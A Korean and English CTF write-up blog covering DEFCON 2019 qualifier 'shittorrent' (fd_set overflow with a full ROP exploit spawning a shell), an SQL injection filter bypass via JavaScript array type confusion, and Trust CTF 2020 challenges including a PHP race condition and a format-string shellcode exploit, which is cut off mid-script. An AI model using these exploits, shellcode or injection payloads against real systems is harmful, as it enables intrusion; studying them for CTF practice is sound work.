2020년 DEFCON ctf 대비 스터디를 하면서 2019년 qualification round 문제들을 리뷰하기로 했다.

관련 리소스들은 o-o-overflow github에 공개되어 있다.

 

이번에 리뷰할 문제는 shittorrent라는 문제이다. 구글링을 좀 하다 보니, github에 exploit코드가 공개된게 있기는 했다만, write-up은 따로 없어서 이번에 공부하면서 정리해보고자 한다.

익스코드는 Ruby로 작성되어있었다. 신기하게도 pwntools가 ruby 버전으로도 있었다. 파이썬 버전만 있는 줄 알았는데..

 

문제 개요

실제 대회때 당시에는 소스코드가 공개되어있었는지는 모르겠는데, o-o-overflow에 공개된 리소스에는 소스코드가 제공되어있다.

코드가 단일 파일 치고는 다소 기므로, 접은글로 표현해놓았다.

 

더보기
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <string.h>
#include <vector>
#include <arpa/inet.h>
#include <algorithm>

/* globals */
fd_set *rfds;
int lastfd;
std::vector<int> listeners;
std::vector<int> admins;

int vhasele(std::vector<int> v, int ele) {
	if(std::find(v.begin(), v.end(), ele) != v.end()) {
		return 1; // has it
	} else {
		return 0; // doesn't have it
	}
}

void vremove(std::vector<int> v, int ele) {
	v.erase(std::remove(v.begin(), v.end(), ele), v.end());
}

void setfdlimit() {
	struct rlimit fdlimit;
	long limit;
	limit = 65536;
	fdlimit.rlim_cur = limit;
	fdlimit.rlim_max = limit;
	setrlimit(RLIMIT_NOFILE, &fdlimit);
	FD_ZERO(rfds);
}

void nobuf() {
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
}

void intro() {
	puts("simple hybrid infrastructure torrent");
	puts("enable simple distribution of files among your fleet of machines");
	puts("used by it department the world over");
}

void printmenu() {
	puts("《SHITorrent 》management console");
	puts("[a]dd pc to manage");
	puts("[r]emove pc from fleet");
	puts("[w]ork");
	puts("[q]uit");
	puts("[g]et flag");
}

int add_node() {
	char hostname[100] = {0};
	char portstr[100] = {0};
	int port = 0;
	puts("enter host");
	read(0, hostname, 99);
	if(hostname[strlen(hostname) - 1] == '\n') {
		hostname[strlen(hostname) - 1] = '\x00';
	}
	puts("enter port");
	read(0, portstr, 99);
	port = atoi(portstr);

	struct sockaddr_in address;
	int sock = 0, valread;
	struct sockaddr_in serv_addr;
	char *hello = "SHITorrent HELO\n";
	char buffer[1024] = {0};
	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		printf("\n Socket creation error \n");
		return -1;
	}

	memset(&serv_addr, '0', sizeof(serv_addr));

	serv_addr.sin_family = AF_INET;
	serv_addr.sin_port = htons(port);

	// Convert IPv4 and IPv6 addresses from text to binary form
	if(inet_pton(AF_INET, hostname, &serv_addr.sin_addr)<=0) {
		printf("\nInvalid address/ Address not supported \n");
		return -1;
	}

	if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
		printf("\nConnection Failed \n");
		return -1;
	}
	send(sock , hello , strlen(hello) , 0 );
	valread = read( sock , buffer, 1024);
	if (strncmp("TORADMIN", buffer, strlen("TORADMIN"))) {
		listeners.push_back(sock);
		printf("added listener node %d\n", sock);
	} else {
		admins.push_back(sock);
		FD_SET(sock, rfds);
		printf("added sending node %d\n", sock);
	}
	if (sock > lastfd) {
		lastfd = sock;
	}
	return 0;
}

void remove_node() {
	char buf[256];
	read(0, buf, 255);
	int bufno = atoi(buf);
	if (bufno > 2 && bufno <= lastfd) {
		close(bufno);
	}
	if (vhasele(listeners, bufno)) {
		vremove(listeners, bufno);
	}
	if (vhasele(admins, bufno)) {
		vremove(admins, bufno);
		if (FD_ISSET(bufno, rfds)) {
			FD_CLR(bufno, rfds);
		}
	}
}

void dispatch_it(int fd) {
	printf("dispatching from %d\n", fd);
	char *buf = (char *)calloc(1, 4096);
	int sz = read(fd, buf, 4096);
	printf("getting %s\n", buf);
	for (int i = 0; i < listeners.size(); i++) {
		write(listeners[i], buf, sz);
	}
	free(buf);
}

void workit() {
	struct timeval tv;
	tv.tv_sec = 5;
	tv.tv_usec = 0;

	int retval = select(FD_SETSIZE, rfds, NULL, NULL, &tv);
	// Don't rely on the value of tv now!

	if (retval) {
		puts("DEBUG: ready to send out the data");
		// FD_ISSET(0, &rfds) will be true.
		for (int i = 3; i < lastfd; i++) {
			if (FD_ISSET(i, rfds)) {
				dispatch_it(i);
				return;
			}
		}
	} else {
		printf("no data within 5 seconds quitting");
		exit(0);
	}
}

void notmain() {
	for(;;) {
		char buf[2];
		printmenu();
		read(0, buf, 2);
		switch(buf[0]) {
			case 'a':
				{
					add_node();
				}
				break;
			case 'r':
				{
					remove_node();
				}
				break;
			case 'w':
				{
					workit();
				}
				break;
			case 'q':
				{
					return;
				}
				break;
			case 'g':
				{
					puts("lol, just kidding");
				}
				break;
			default:
				{
					puts("not supported");
				}
				break;
		}
	}
}

int main(int argc, char **argv) {
	fd_set fds;
	rfds = &fds;
	lastfd = 2;
	setfdlimit();
	nobuf();
	intro();
	notmain();
	return 0;
}

 

C++로 작성된 서버코드이다. 클라이언트 입장에서는 ip와 port를 넘겨준 뒤, 서버에서 접속을 시도하면 적절한 값을 리턴해서 admin모드이거나 일반 user 모드로 등록이 가능하다.

 

미티게이션

checksec으로 확인해보면 아래와 같이 나타난다.

 

NX가 활성화 되어 있고, 스택 까나리가 적용되어 있다.

 

취약점

소스코드를 보면 잘 모르는 자료구조와, 매크로 함수가 보이는데 fd_set, FD_SET, FD_ZERO, FD_ISSET, FD_CLR 이런 녀석들이다.

 

여기서 FD는 File descriptor의 약자라고 한다. 이 함수들과 자료구조는 여러개의 소캣들을 열어서 connection을 맺어 놓은 상태에서 관리하기 위해 존재한다고 한다.

 

소캣 fd를 bitmap 자료구조로 관리하는 거라고 한다. 만약 3번 소캣을 사용중이면 FD_SET(fd_set, 3) 이런식으로 해서 3번 비트를 1로 만들고, FD_CLR(fd_set, 3)이런 식으로해서 3번 비트를 0으로 되돌리는 방식으로 소캣들의 사용 유무를 관리할 수 있다고 한다.

 

그래서 총 1024개의 소캣들을 관리할 수 있는데, 즉 fd_set의 자료구조는 1024bit의 크기를 갖는다.

 

리눅스 시스템에서 man fd_set 명령어로 관련 매뉴얼을 읽어볼 수 있다.

 

매뉴얼에서 Notes를 보면, 다음과 같은 구문들이 있다.


An fd_set is a fixed size buffer. Executing FD_CLR() or FD_SET() with a value of fd that is negative or is equal to or larger than FD_SETSIZE will result in undefined behavior. Moreover, POSIX requires fd to be a valid file descriptor.


fd_set는 고정 크기의 버퍼이므로, FD_SETSIZE를 넘는 값으로 FD_SET, FD_CLR 등을 호출하는 것은 Undefined behaivro이다. 라고 써있다.  바로 여기서 취약점이 나타난다.

 

FD_SETSIZE는 일반적으로 1024이며, 주어진 바이너리에서도 1024이다.

 

fd_set 자료구조를 보면 main context의 지역변수로 들어가게 되고, FD_CLR, FD_SET의 함수는 소캣 연결의 제한이 별도로 있지는 않다. (2^16이 제한인 듯 하다)

 

이를 이용해서 buffer overflow가 나타나게 된다.

 

mitigation들을 체크해보면 nx도 걸려있으므로, ROP chain을 구성해서 exploit을 하면 될 듯 하다.

 

익스플로잇

일단 익스플로잇을 하기 위해서는 서버단에서 접속이 가능한 ip와 port로 적절한 서비스를 열고 있어야 간편하다. 

 

서비스 등록

서비스를 등록하기 위해서 간단한 프로그램을 작성해서 컴파일을 하였다.

#include <stdio.h>
int main(int argc, char *argv[]) {
  char s[100];
  read(0, s, 16);
  if(strstr(argv[0], "lis") != NULL)
    write(1, "meow", 4);
  else
    write(1, "TORADMIN", 8);
  return 0;
}

하나는 파일명을 lis로 해서 meow를 리턴하는 normal user용 node로 두고, 남은 하나는 파일명을 peer로 해서 TORADMIN을 리턴하는 admin user용 node로 만들어 두겠다.

 

서비스 등록은 xinetd를 설치해서 설정하면 되겠다.

 

/etc/xinetd.d/defcon1 파일과 /etc/xinetd.d/defcon2 파일에 아래와 같이 각각 설정을 해준다.

 

/etc/xinetd.d/defcon1

/etc/xinetd.d/defcon2

 

그리고 아래 명령어를 실행해서 /etc/services 의 마지막 줄에 항목을 추가해준다.

xinetd 서비스를 재시작해주면 반영이 된다.

 

이제 nc 127.0.0.1 10001 나 nc 127.0.0.1 10002 명령어를 실행해서 잘 동작하는지 확인할 수 있다.

 

스택 카나리 우회

바이너리에 스택 카나리가 있긴 하지만 일반 유저로 node를 추가하면 fd만 값이 증가하고, fd_set은 건드리지 않게 되므로, 스택 카나리가 있는 부분을 뛰어넘고 return address를 overwrite가 가능하다.

 

ulimit 설정

로컬에서 실행을 하는데, 바이너리에 ulimit을 설정하는 부분이 있긴 하지만, 한번씩 동작을 하지 않는 것 같으므로 수동으로 커맨드라인에서 설정해줄 필요가 있다.

그리고 이 설정값은 터미널 마다 다르게 되므로 만약 새 터미널에서 서버 바이너리를 실행하게 된다면 다시 설정해주어야 한다.

 

$ ulimit -a

명령어로 최대 열 수 있는 파일 크기를 확인할 수 있다.

$ ulimit -n 60000

와 같은 명령어로 적당히 큰 수로 열 수 있는 파일 개수를 늘려준다.

 

오프셋 계산

바이너리를 disassemble 해 보면, main context는 위와 같다. 401743을 보면 rbp-0x90에 rfds 주소값이 있는 것을 알 수 있다. 그리고 401774를 보면 카나리는 rbp-0x8에 있다.

따라서 아래와 같은 스택프레임이 구성이 된다는 것을 알 수 있다.

 

그러면 ret addr 직전까지는 normal user node로 dummy값 fd를 증가시키고, 그 이후에는 fd_set을 이용해서 return address부터 값을 변조할 수 있게 된다.

이후 rop chain을 구성해서 exploit을 하면 된다.

 

로컬 익스플로잇시 sleep

로컬 서비스를 너무 빠르게 요청을 주면 xinetd 서비스에서 간혹 Connection Refused를 주는 경우가 있다. 이를 방지하기 위해서 0.04초 정도는 sleep을 해 주는 것이 좋다. 이것 때문에 익스플로잇의 실행 시간이 좀 더 들긴 하는데, 어쩔수없다.

 

 

익스플로잇 코드

Full exploit 코드이다. python3 + pwntools로 작성해보았다.

 

#!/usr/bin/env python3

from pwn import *
import time, sys

NORMAL_SERVICE_PORT = 10001
ADMIN_SERVICE_PORT = 10002
REST_QUANT=0.04

p = process('./shitorrent')


def add_node(host, port):
    global p
    msg = p.recvuntil('rrent')
    if b"Failed" in msg or b"not" in msg:
        print ("Failed....{}".format(msg))
        p.close()
        sys.exit()
    p.recvuntil('et flag')
    p.sendline('a')
    p.recvuntil('enter host')
    p.send(host.ljust(99, "\x00"))
    p.recvuntil('enter port')
    p.send(str(port).ljust(9, "\x00"))

def add_normal():
    add_node("127.0.0.1", NORMAL_SERVICE_PORT)
def add_admin():
    add_node("127.0.0.1", ADMIN_SERVICE_PORT)

def remove_node(fd):
    # print ("remove_node({})".format(fd))
    global p
    p.recvuntil('et flag')
    p.sendline('r')
    p.send(str(fd).ljust(255, "\x00"))

fd = 1216
rop = [
  0x0000000000407888, # pop rsi ; ret
  0x00000000006da0e0, # @ .data
  0x00000000004657fc, # pop rax ; ret
  u64(b'/bin//sh'),
  0x00000000004055c1, # mov qword ptr [rsi], rax ; ret
  0x0000000000407888, # pop rsi ; ret
  0x00000000006da0e8, # @ .data + 8
  0x0000000000460b90, # xor rax, rax ; ret
  0x00000000004055c1, # mov qword ptr [rsi], rax ; ret
  0x0000000000400706, # pop rdi ; ret
  0x00000000006da0e0, # @ .data
  0x0000000000407888, # pop rsi ; ret
  0x00000000006da0e8, # @ .data + 8
  0x0000000000465855, # pop rdx ; ret
  0x00000000006da0e8, # @ .data + 8
  0x00000000004657fc, # pop rax ; ret
  0x3b,
  0x0000000000490ec5, # syscall
  0xdeaddeadbeef
]


print ("start attach padding")
for i in range(3, 1216):
    if i % 101 == 100:
        print ("padding progress .... [{}/{}]".format(i, 1216))
    sleep(REST_QUANT)
    # print ("add normal {}".format(i))
    add_normal()

print("start to fill")
for i in range(0, 64 * len(rop)):
    if i % 101 == 100:
        print ("Fill bit progress .... [{}/{}]".format(i, 64*len(rop)))
    sleep(REST_QUANT)
    # print ("add admin {}".format(i))
    add_admin()

print ("Filling finished!")
print (p.recvuntil("et flag"))
p.sendline("g")
print (p.recvuntil("kidding"))
#input("#")
print("removing...")
for i, word in enumerate(rop):
    binary = bin(word)[2:].rjust(64, '0')[::-1]
    print (hex(word) + ": " + binary)
    print ("Removing.... [{}/{}]".format(i, len(rop)))
    for bit in binary:
        if bit == '0':
            sleep(REST_QUANT)
            remove_node(fd)
        fd=fd+1
    #input('#')

p.recvuntil('et flag')
p.sendline('q')
print("Execute shell!")
p.interactive()
p.close()

 

자료와 코드들은 깃헙에도 두었으므로 필요시 참고하면 괜찮을것 같다.

-----------------------------------------------------------------------------------------------

https://github.com/Einstrasse/ctf-practice/tree/master/2019-defcon-qual/shitorrent

https://linux.die.net/man/3/fd_set

https://blog.naver.com/tipsware/220810795410

https://github.com/o-o-overflow/dc2019q-shitorrent

https://github.com/david942j/ctf-writeups/blob/master/defcon-quals-2019/shitorrent/shitorrent.rb

 

English write-up

 

UI seems like below.

If you click the 'the source' link, you can get back-end source code.

 

 

const express = require("express");
const rateLimit = require("express-rate-limit");
const app = express();
const { Pool, Client } = require("pg");
const port = process.env.PORT || 9090;
const path = require("path");

const client = new Client({
	user: process.env.DBUSER,
	host: process.env.DBHOST,
	database: process.env.DBNAME,
	password: process.env.DBPASS,
	port: process.env.DBPORT
});

async function query(q) {
	const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
	return ret;
}

app.set("view engine", "ejs");

app.use(express.static("public"));

app.get("/src", (req, res) => {
	res.sendFile(path.join(__dirname, "index.js"));
});

app.get("/", async (req, res) => {
	if (req.query.q) {
		try {
			let q = req.query.q;
			// no more table dropping for you
			let censored = false;
			for (let i = 0; i < q.length; i ++) {
				if (censored || "'-\".".split``.some(v => v == q[i])) {
					censored = true;
					q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
				}
			}
			q = q.substring(0, 80);
			const result = await query(q);
			res.render("home", {results: result.rows, err: ""});
		} catch (err) {
			console.log(err);
			res.status(500);
			res.render("home", {results: [], err: "aight wtf stop breaking things"});
		}
	} else {
		res.render("home", {results: [], err: ""});
	}
});

app.listen(port, function() {
	client.connect();
	console.log("App listening on port " + port);
});

Code is written in javascript, so the server platform is nodejs.

There is simple sql execution function, it filters some special chars.

 

It filters single-quotor, double-quotor, dash and point. 

If one of bad-char appears, the all remainders will be substituted to '*' char.

 

I thought hard how can I bypass the filter, a solution is javascript type confusion.

 

 

The server source code assumes that 'req.query.q' data type is string, if you send url querystring like "q[]=value&q[]=another", on the server side the value is ["value", "another"] which is javascript array type.

 

Then q[i] is no longer single character but string, so we can bypass the filtering.

The expression ("'or 1=1-- " == "'") is evaluated as false.

 

Moreover, javascript array object also have method "slice" like string. The function slightly differ.

 

If you try to + operation between javascript array and string, the result is string. The array is treated like string.

Then after the expression `slice(0,i) + "*" + slice(i+1, q.length)`, q is now string, we can do the q.substring method below without exception.

 

I coded query string exploit payload builder in javascript.

 

function go(payload) {
	var ret = '?q[]=' + encodeURIComponent(payload);
	for (var i =1; i < payload.length; i++) {
		ret += `&q[]`;
	}
	ret += `&q[]='`
	return ret;
}

For the test, I wrote a query to get the current database name in pg-sql.

 

It works well!

 

I tried to get the column name with information_schema table, but q.substring(0, 80) limit our query length to 80, I did another method.

 

With some functions in pg-sql, we can get the data in 'Criminals' table in json serialized format.

 

 

Gotcha!, We've got the flag

 

actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u}

 

 

한글 풀이

UI는 아래와 같이 생겼다.

우측에 the source라는 것을 클릭하면 백엔드 소스도 제공을 해준다.

 

const express = require("express");
const rateLimit = require("express-rate-limit");
const app = express();
const { Pool, Client } = require("pg");
const port = process.env.PORT || 9090;
const path = require("path");

const client = new Client({
	user: process.env.DBUSER,
	host: process.env.DBHOST,
	database: process.env.DBNAME,
	password: process.env.DBPASS,
	port: process.env.DBPORT
});

async function query(q) {
	const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
	return ret;
}

app.set("view engine", "ejs");

app.use(express.static("public"));

app.get("/src", (req, res) => {
	res.sendFile(path.join(__dirname, "index.js"));
});

app.get("/", async (req, res) => {
	if (req.query.q) {
		try {
			let q = req.query.q;
			// no more table dropping for you
			let censored = false;
			for (let i = 0; i < q.length; i ++) {
				if (censored || "'-\".".split``.some(v => v == q[i])) {
					censored = true;
					q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
				}
			}
			q = q.substring(0, 80);
			const result = await query(q);
			res.render("home", {results: result.rows, err: ""});
		} catch (err) {
			console.log(err);
			res.status(500);
			res.render("home", {results: [], err: "aight wtf stop breaking things"});
		}
	} else {
		res.render("home", {results: [], err: ""});
	}
});

app.listen(port, function() {
	client.connect();
	console.log("App listening on port " + port);
});

코드를 보니 nodejs로 백엔드를 작성했다.

간단하게 sql 쿼리를 실행시킬 수 있도록 되어있고, 일부 특수문자들을 필터링하는 것을 알 수 있다.

 

일단 싱글쿼터를 필터링을 해서, 해당 bad character가 나타나면 나머지 모든 글자들을 *로 바꿔버리는 방식이다.

 

이 sql 쿼리 필터링을 어떻게 우회할까 고민을 많이 했는데, 정답은 javascript type confusion이었다.

 

서버코드는 req.query.q가 string일 것을 가정하고 코드가 짜져있는데, url 쿼리스트링에 q[]=value&q[]=another 와 같은 방식으로 전송하면 서버에는 ["value", "another"]과 같은 javascript array형태로 전송이 되게 된다.

 

그러면 some(v => v == q[i])라는 필터링에서도 ["'or 1=1-- ", "garbage"] 이런 값이 전송이 되는 경우 filtering이 제대로 되지 않게 된다. "'or 1=1-- " == "'" 는 당연 false가 나오기 때문.

 

게다가 Javascript array는 slice라는 함수를 동일하게 가지고 있다.

그리고 문자열과 배열간 + 연산을 하게 되면, 배열을 문자열처럼 바뀌어서 concat연산이 되고 그 결과는 문자열이 되어서 아래의 q.substring 함수도 정상적으로 실행을 하게 된다.

 

이러한 조건에 맞는 query string payload를 만들어주는 js 코드를 작성해서 요청을 보내보았다.

function go(payload) {
	var ret = '?q[]=' + encodeURIComponent(payload);
	for (var i =1; i < payload.length; i++) {
		ret += `&q[]`;
	}
	ret += `&q[]='`
	return ret;
}

 일단 테스트 겸 database name을 알아내는 쿼리를 작성해보았다.

결과가 잘 나온다.

 

information_schema로 column 명을 알아내려고 했는데, q.substring(0, 80)의 쿼리 길이 제한때문에 잘 안되서 다른 방법을 사용해보기로 했다.

 

이제 Criminals 테이블의 값을 json형태로 serialize해서 다 빼오는 쿼리를 작성해서 날려보자.

 

flag를 얻었다.

 

actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u}

후기

https://trustctf.com/

 

2020년 2월 22일 오전 10시 부터 오후 10시까지 진행된 Trust CTF이다.

Trust는 디지털 미디어 고등학교 보안동아리인 것 같고, 거기서 주최한 CTF이다.

특이하게도 static scoring으로 문제 별 스코어가 고정되어 있다.

결과는 마이크체크 문제 제외하고 2문제를 풀었고, 마지막 grade program 문제는 CTF 종료된 이후 풀었다.

푼 문제들에 대한 간단한 풀이들 한번 올려본다.

 

127% Machine

 

MISC문제이다.

 

C코드를 제공한다.

 

서버 코드

서버 코드를 보려면 아래 접은 글을 열면 된다.

더보기
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <math.h>

#define banner_w 56
#define banner_h 10

#define information_w 54
#define information_h 16

char banner[banner_h][banner_w] = {
	{"+=====================================================+"},
	{"|        _     ______     ________                    |"},
	{"|       / /   / ___  \\   / ___   /      _     /       |"},
	{"|      / /   /_/   / /  /_/   / /      (_)   /        |"},
	{"|     / /    _____/ /        / /            /         |"},
	{"|    / /    / _____/        / /            /    _     |"},
	{"|   / /    / /_____        / /            /    (_)    |"},
	{"|  /_/    /_______/       /_/            /            |"},
	{"|                                                     |"},
	{"+=====================================================+"}
};

char information[information_h][information_w] = {
	{"*****************************************************"},
	{"*          - information of this machine -          *"},
	{"*                                                   *"},
	{"*                                                   *"},
	{"*              1. Its maximum is 100%               *"},
	{"*                                                   *"},
	{"*     2. The role of this machine is encoding       *"},
	{"*                                                   *"},
	{"*       3. You should decode its secret code        *"},
	{"*                                                   *"},
	{"*          4. DO NOT USE ABNORMAL APPROACH          *"},
	{"*                                                   *"},
	{"*    last. \"GOOD THINGS COME TO THOSE WHO WAIT\"     *"},
	{"*                                                   *"},
	{"*                 GOOD LUCK! /(>//<)\\               *"},
	{"*****************************************************"}
};



char flag[] = "TRUST{SAMPLE_FLAG}";

unsigned long int pow_x(unsigned long int a, int b);


void print_banner() {
	char load[] = "loading......!";
	for (int i = 0; i < banner_h; i++) {
		for (int j = 0; j < banner_w; j++) 
			printf("%c", banner[i][j]);
		usleep(30000);
		printf("\n");
	}
	printf ("\n");
	usleep(500000);
	for (int i = 0; i < strlen(load); i++) {
		printf("%c", load[i]);
		usleep(40000);
	}
	usleep(100000);
	printf("\n");
	printf("It's ready to operate!\n\n");
	usleep(200000);

	for (int i = 0; i < information_h; i++) {
		for (int  j = 0; j < information_w; j++) {
			printf("%c", information[i][j]);
		}
		usleep(50000);
		printf("\n");
	}
	printf("\n\n");
}

void machine_start() {
	usleep(200000);
	printf("Let's start!\n");
	usleep(50000);
}

void loop() {
	
	unsigned long int sub = 0;

	char auth[127] = {0};
	char response[128] = {0};
	
	int key;
	int comp;

	srand(time(NULL));

	for (int stage = 1; stage <= 127; stage++) {
		
		if (stage == 100) {
			puts("!!machine operate 100%!!");
			puts("┐ ի ޟ d\x3d\x4e\xfe ");
			puts("abnormal approach");
			puts("Please give me pass code");
			key = rand() % 1000000;
			scanf("%d", &comp);
			if (comp == key) {
				puts("Enter Administrator Mode");
			}
		}

		printf("\n%d%% operate\n", stage);
		for (int i = 0; i < stage; i++)
			auth[i] = rand() % 94 + 33;
		for (int i = 0; i < stage; i++) {
			sub = pow_x(127, (rand()%3 + 3)) + (int)auth[i];
			printf("%ld\n", sub);
		}
		read(0, response, 128);
		if (strlen(response) != stage) {
			printf("\nErrorcode 1 : mechanical overload");
			exit(0);
		}
		else if (0 !=  strncmp(auth, response, stage)) {
			printf("\nWrong answer");
			exit(0);
		}
		else continue;		
	}
}


unsigned long int pow_x(unsigned long int a, int b) {
	int x= a;
	a = 1;
	for (int i = 0; i < b; i++)
		a *= x;
	return a;
}


int main() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);

	char str[128] = {0};
	print_banner();
	machine_start();
	loop();
	printf("PPIBIP! machine operate 127%%!\n");
	printf("%s", flag);

	return 0;
}

 

 

대충 보면, random으로 생성한 값들을 맞추면 되는데, 그냥 랜덤한 값뿐만이아닌 127^3, 127^4, 127^5 를 더해서 알려준다.

근데 랜덤으로 생성한 값이 33 ~ 126 범위의 수에 해당하므로 값의 크기로 어느 값을 더했는지 유추할 수 있다.

이를 이용해서 값을 뺀 것들을 리턴해주면 정답 플래그를 얻을 수 있다.

 

 

Exploit

#!/usr/bin/env python

from pwn import *

p = remote('198.13.32.181', 4337)

def do_oper(stage):
	global p
	var = []
	p.recvuntil("operate\n")
	for i in range(stage):
		value = int(p.recvuntil("\n"))
		for i in range(5, 2, -1):
			if value > 127**i:
				value = value - 127**i
				break
		var.append(value)
	#print var
	res = "".join(map(chr, var))
	#print res
	p.send(res)

for i in range(1, 100):
	print i
	do_oper(i)
p.recvuntil("pass code\n")
p.sendline("1")
for i in range(100, 128):
	print i
	do_oper(i)
p.interactive()

Flag

TRUST{H4H4_sO00000_3a5y!_D1D_you_thought_hardly??}

 

ezrc

웹문제이다.

 

들어가면 간단한 회원가입과 로그인 기능이 있는데, 로그인을 하면 php 소스코드를 보여준다.

 

서버소스

서버 소스를 보려면 접은 글을 펴면 된다.

더보기
<?php session_start(); include 'config.php'; ?>
<?php
    if(!isset($_SESSION['id'])){
        header('Location: ./login.html');
        exit;
    }
?>
<a href="source.php"><button>source code</button><br/></a>

<?php 
$id = $_SESSION['id'];
    $res = mysqli_query($con, "select pw from ezrc where id='$id'");
    $idx = mysqli_fetch_array($res);
    $pw = $idx['pw'];

    $print_query = "select chk from ezrc where id='$id'";
    $hehe_query = "update ezrc set chk='$hehe' where id='$id'";
    $reset_query = "update ezrc set chk='nope' where id='$id'";

    echo "<a href=logout.php>logout</a><br/>";
    echo "your id is ".$id."<br/>";
    if(preg_match("/(tata|dada|zaza)+[a-z]{3}+coco?hehe/", $_GET['key']) && strlen($_GET['key'])>30){
        $res = mysqli_query($con, $print_query);
        $idx = mysqli_fetch_array($res);
        echo "your chk is ".$idx['chk']."<br/>";        
        if($idx['chk'] == $hehe){
            echo $flag."<br/>";
            mysqli_query($con, $reset_query);
            exit("congratulations");
        }
    }
    mysqli_query($con, $hehe_query);
    $str = "trust_is_very_cooool";
    $t = (int)$_GET['times'];
    if($pw == md5(240610708)){
        echo "pw right";
        for($i=0; $i<$t; $i=$i+1){
            for($j=0; $j<$t; $j=$j+1){
                $str = md5($str);
            }
        }
        if($str == "d91a2796ab967c9793ef1c628a91fac5"){
            echo $flag;
        }
        else{
            mysqli_query($con, $reset_query);
        }
    }
    else{
        mysqli_query($con, $reset_query);
    }
?>

 

대충 보면 햇갈릴 수도 있는데 일단 flag를 얻을 수 있는 방법은 2가지가 있다.

db에 chk값이 $hehe와 동일 하거나, "trust_is_very_coool"를 여러번 md5해서 나온 값이 d91뭐시기 하는 값과 일치하면 된다.

 

근데 trust_is_very_cool을 매우 많이 md5를 구해보았는데, 같은 값은 나오진 않았다.

 

약간 특이한 부분이 exit("congratulation"); 이후에 sql query를 실행하는데, 이때 유저 db의 chk값이 $hehe와 같아진다.

 

그리고 아래에서 md5를 여러번 하는 행위 이후에는 다시 chk값이 'nope'로 바뀌게 된다.

이 찰나의 순간을 노리는 Race condition 공격을 할 수 있다면?

 

게다가 md5를 여러번 취할때는 몇 번을 취할 것인지는 user input인 $_GET['times']에 의해 결정되므로, int_max값을 넣어서 그 제곱에 해당하는 md5를 연산하게 하여 시간차를 만들 수 있다.

 

if($pw == md5(240610708)){

 

이 코드를 pass해야 하는 부분은 우항을 md5를 시켜보면 0e123123와 대략 같은 꼴의 문자열이 나오는데, 이는 php의 loose comparision에 의한 type juggling 취약점으로 연결된다. 패스워드를 0000으로 지정하면 if문이 true로 되므로 쉽게 bypass가능하다.

 

그래서 한 녀석으로는 대충
http://198.13.32.181:4345/index.php?key=tatatatatatadadadadadadadadatatadadazazaabccocohehe

와 같은 요청을 보내서 regex를 맞추게 하고, 나머지녀석으로는 

http://198.13.32.181:4345/index.php?times=2147483600

와 같은 요청을 보내서 chk를 $hehe와 같게 만든 뒤 시간을 끌게 하면된다.

 

근데 같은 쿠키 값으로 하면 race condition으로 되지 않으므로 다른 php sess id를 갖는 브라우저 2개를 띄워서 시간차로 하면 flag 값을 구할 수 있다.

Flag

TRUST{Hell0_th1s_my_f1r5t_cha1lenge!!!!}

grade program

포나블 문제이다.

 

바이너리를 IDA로 디컴파일 해보면 32bit ELF인 것을 알 수 있고 몇가지의 기능이 있다.

그리고 checksec을 해보면 RWX segment가 존재하고, NX 및 PIE가 꺼져있다.

그래서 ASLR만 있다고 보면 된다.

 

1번 명령어를 쓰면, 랜덤한 간단한 사칙연산 문제를 풀게 된다. 그 문제를 푸는 수 만큼 점수가 기록이 되고, 이 점수는 exam() 함수에서 리턴이 된다.

이 결과 값은 main문에 지역변수에 있는 char buffer[] 에 하나씩 기입이 된다.

trials변수는 99이하까지 되므로, 총 99byte를 buffer에다가 쓸 수 있는 셈이 된다.

 

그리고 3을 누르면 버퍼를 다 비울 수 있고, 2를 누르면 그 format이라고 되있는 버퍼를 printf하는데 여기서 Format string bug가 발생된다는 것을 알 수 있다.

 

익스플로잇 테크닉은 다양하게 가져갈 수 있는데, RWX segment가 존재하고, NX 및 PIE가 꺼져있으므로 간단하게 shell code를 올려서 실행하는 식으로 가져가보았다. 그리고 stack canary는 존재했다.

 

shell code로 pc를 변경하는 방식은 어떻게 할 까 햇는데, how함수, exam함수 등을 호출할 때 함수의 주소값을 스택에 저장한 뒤 그 값을 호출하는 방식으로 how 함수를 호출한다는 점을 이용해서 스택에 있는 how함수의 주소값을 shellcode 시작 주소로 fsb를 통해 write하는 식으로 pc를 변경하도록 했다.

이후 0번 매뉴를 키면 shellcode로 점프할 수 있다.

 

근데 format 버퍼의 값을 쓸 때, 만약 첫번째 값, buffer[0]에 ascii 76에 해당하는 값을 쓰려면 사칙연산 문제를 76개를 풀어야 한다. 그래서 로컬에서는 금방 되지만, 서버에 payload를 구성할때는 생각보다 시간이 많이 걸리게 된다. 

 

그래서 shellcode를 처음에는 bss에 write하려다가, 너무 오래걸려서 format 버퍼 자체에 shellcode를 올려서 실행시키는 방법을 이용했다.

 

 

Exploit 코드

#!/usr/bin/env python

from pwn import *

# p = process('./grade')
p = remote('198.13.32.181', 9316)

bss_addr = 0x804b040
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# shellcode from http://shell-storm.org/shellcode/files/shellcode-811.php
def clear_res():
	global p
	p.recvuntil(">>>")
	p.sendline("3")
	p.recvuntil("cleared")

def solve_prob(correct= True):
	global p
	prob = p.recvuntil("=")[:-1]

	res = 0
	if "+" in prob:
		operand = map(int, prob.split("+"))
		res = reduce(lambda x,y: x+y, operand)
	elif "-" in prob:
		operand = map(int, prob.split("-"))
		res = reduce(lambda x,y: x-y, operand)
	elif "*" in prob:
		operand = map(int, prob.split("*"))
